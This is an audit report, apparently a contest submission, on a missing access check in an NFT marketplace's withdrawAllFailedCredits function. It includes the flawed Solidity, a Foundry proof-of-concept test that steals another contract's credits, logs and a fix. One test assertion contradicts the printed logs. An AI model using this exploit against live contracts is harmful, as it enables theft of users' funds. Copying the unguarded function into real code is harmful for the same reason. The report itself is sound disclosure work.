Description: Users should be able to ONLY withdraw their OWN failed transfer credits. However, any user can steal funds by calling BidBeastsNFTMarketPlace::withdrawAllFailedCredits() on any _receiver address that is a contract that cannot receive Ether AFTER it makes an NFT sale. There is no check for msg.sender == _receiver which means the function caller can specify any _receiver address and withdraw to their own address. In addition, the failedTransferCredits are incorrectly cleared out for the msg.sender when it should be cleared for the _receiver. I was not sure if this SECOND issue required an entirely separate writeup.
Here is the function in question:
function withdrawAllFailedCredits(address _receiver) external {
@>
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Impact: HIGH - Funds are directly at risk.
Proof of Concept: Insert this test into BidBeastsMarketPlaceTest.t.sol:
function test_withdrawAllFailedCreditsVulnerability() public {
vm.prank(OWNER);
nft.mint(address(rejector));
vm.prank(address(rejector));
nft.approve(address(market), 0);
vm.prank(address(rejector));
market.listNFT(0, MIN_PRICE, BUY_NOW_PRICE);
vm.prank(BIDDER_2);
market.placeBid{value: BUY_NOW_PRICE}(0);
uint256 rejectorCredits = market.failedTransferCredits(address(rejector));
assertGt(rejectorCredits, 0, "Rejector should have failed transfer credits");
console.log("Rejector credits after sale: %s", rejectorCredits);
console.log("BIDDER_1 balance before attack: %s", BIDDER_1.balance);
console.log("Rejector failedTransferCredits before attack: %s", market.failedTransferCredits(address(rejector)));
console.log("BIDDER_1 failedTransferCredits before attack: %s", market.failedTransferCredits(BIDDER_1));
uint256 attackerBalanceBefore = BIDDER_1.balance;
vm.prank(BIDDER_1);
market.withdrawAllFailedCredits(address(rejector));
uint256 attackerBalanceAfter = BIDDER_1.balance;
assertEq(
attackerBalanceAfter,
attackerBalanceBefore + rejectorCredits,
"Attacker should have received rejector's credits"
);
console.log("BIDDER_1 balance after attack: %s", BIDDER_1.balance);
console.log("Rejector failedTransferCredits after attack: %s", market.failedTransferCredits(address(rejector)));
console.log("BIDDER_1 failedTransferCredits after attack: %s", market.failedTransferCredits(BIDDER_1));
assertEq(market.failedTransferCredits(address(rejector)), 0, "Rejector's credits should be cleared");
assertEq(market.failedTransferCredits(BIDDER_1), 0, "Attacker's credits should be incorrectly reset");
}
I also had to edit the RejectEther contract to allow it to hold/sell NFT's:
contract RejectEther {
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
Here are the console.log outputs:
Logs:
Rejector credits after sale: 4750000000000000000
BIDDER_1 balance before attack: 100000000000000000000
Rejector failedTransferCredits before attack: 4750000000000000000
BIDDER_1 failedTransferCredits before attack: 0
BIDDER_1 balance after attack: 104750000000000000000
Rejector failedTransferCredits after attack: 4750000000000000000
BIDDER_1 failedTransferCredits after attack: 0
Recommended Mitigation: There are really TWO issues here:
Lack of access control
Clearing the wrong address' credit balance
function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver, "Can only withdraw own credits");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
(bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
